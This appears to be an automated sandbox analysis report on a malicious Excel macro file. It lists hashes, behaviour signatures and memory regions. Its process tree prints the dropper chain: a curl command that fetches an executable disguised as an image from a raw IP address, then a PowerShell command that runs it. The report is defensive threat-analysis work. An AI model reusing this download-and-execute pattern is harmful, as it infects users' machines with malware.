Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-02-2024 11:17

General

  • Target

    a90431f9c45758117ead6bc503e2591d.xlsm

  • Size

    140KB

  • MD5

    a90431f9c45758117ead6bc503e2591d

  • SHA1

    91a5626d3571679461277d1125a98a6b236387da

  • SHA256

    33d2cd0f3b69219693cc3c0514afac9cbddd0de890107062afdc25102970bf53

  • SHA512

    3ab0376aed52fa7e792ee3309756a864bad624b62a546f665f2b4d44de7fbb8db409e5d4a7d476076be23d182b2730597a04761614fc050bb75eb140b8b9f4d9

  • SSDEEP

    1536:wJxSwIXUJksB977w3mv8fdwLmG9s80okHwjzjoki9cIyhGfaZWDCltHV:oUdkCS7k3XOmT/QzXIWGfaZW+lX

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 17 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a90431f9c45758117ead6bc503e2591d.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:700
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\QyZcY.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4656
      • C:\Windows\system32\curl.exe
        curl http://151.236.30.123/images/suntogether.png -o C:\Users\Admin\AppData\Roaming\QyZcY.exe
        3⤵
          PID:3680
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe start-sleep 10; $x=$env:AppData+'\QyZcY.exe';Invoke-Expression $x
        2⤵
        • Process spawned unexpected child process
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5016

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t5t01fep.3mr.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/700-17-0x00007FF905270000-0x00007FF905465000-memory.dmp

      Filesize

      2.0MB

    • memory/700-53-0x00007FF905270000-0x00007FF905465000-memory.dmp

      Filesize

      2.0MB

    • memory/700-16-0x00007FF8C2D60000-0x00007FF8C2D70000-memory.dmp

      Filesize

      64KB

    • memory/700-4-0x00007FF905270000-0x00007FF905465000-memory.dmp

      Filesize

      2.0MB

    • memory/700-5-0x00007FF8C52F0000-0x00007FF8C5300000-memory.dmp

      Filesize

      64KB

    • memory/700-6-0x00007FF905270000-0x00007FF905465000-memory.dmp

      Filesize

      2.0MB

    • memory/700-8-0x00007FF905270000-0x00007FF905465000-memory.dmp

      Filesize

      2.0MB

    • memory/700-9-0x00007FF905270000-0x00007FF905465000-memory.dmp

      Filesize

      2.0MB

    • memory/700-7-0x00007FF8C52F0000-0x00007FF8C5300000-memory.dmp

      Filesize

      64KB

    • memory/700-10-0x00007FF905270000-0x00007FF905465000-memory.dmp

      Filesize

      2.0MB

    • memory/700-11-0x00007FF8C2D60000-0x00007FF8C2D70000-memory.dmp

      Filesize

      64KB

    • memory/700-12-0x00007FF905270000-0x00007FF905465000-memory.dmp

      Filesize

      2.0MB

    • memory/700-13-0x00007FF905270000-0x00007FF905465000-memory.dmp

      Filesize

      2.0MB

    • memory/700-14-0x00007FF905270000-0x00007FF905465000-memory.dmp

      Filesize

      2.0MB

    • memory/700-1-0x00007FF8C52F0000-0x00007FF8C5300000-memory.dmp

      Filesize

      64KB

    • memory/700-19-0x00007FF905270000-0x00007FF905465000-memory.dmp

      Filesize

      2.0MB

    • memory/700-2-0x00007FF8C52F0000-0x00007FF8C5300000-memory.dmp

      Filesize

      64KB

    • memory/700-18-0x00007FF905270000-0x00007FF905465000-memory.dmp

      Filesize

      2.0MB

    • memory/700-20-0x00007FF905270000-0x00007FF905465000-memory.dmp

      Filesize

      2.0MB

    • memory/700-21-0x00007FF905270000-0x00007FF905465000-memory.dmp

      Filesize

      2.0MB

    • memory/700-15-0x00007FF905270000-0x00007FF905465000-memory.dmp

      Filesize

      2.0MB

    • memory/700-3-0x00007FF905270000-0x00007FF905465000-memory.dmp

      Filesize

      2.0MB

    • memory/700-0-0x00007FF8C52F0000-0x00007FF8C5300000-memory.dmp

      Filesize

      64KB

    • memory/700-52-0x00007FF905270000-0x00007FF905465000-memory.dmp

      Filesize

      2.0MB

    • memory/700-49-0x00007FF905270000-0x00007FF905465000-memory.dmp

      Filesize

      2.0MB

    • memory/5016-45-0x000001CBB2F60000-0x000001CBB2F70000-memory.dmp

      Filesize

      64KB

    • memory/5016-46-0x000001CBB2F60000-0x000001CBB2F70000-memory.dmp

      Filesize

      64KB

    • memory/5016-44-0x000001CBB2F60000-0x000001CBB2F70000-memory.dmp

      Filesize

      64KB

    • memory/5016-51-0x00007FF8DCAD0000-0x00007FF8DD591000-memory.dmp

      Filesize

      10.8MB

    • memory/5016-43-0x00007FF8DCAD0000-0x00007FF8DD591000-memory.dmp

      Filesize

      10.8MB

    • memory/5016-38-0x000001CBB3400000-0x000001CBB3422000-memory.dmp

      Filesize

      136KB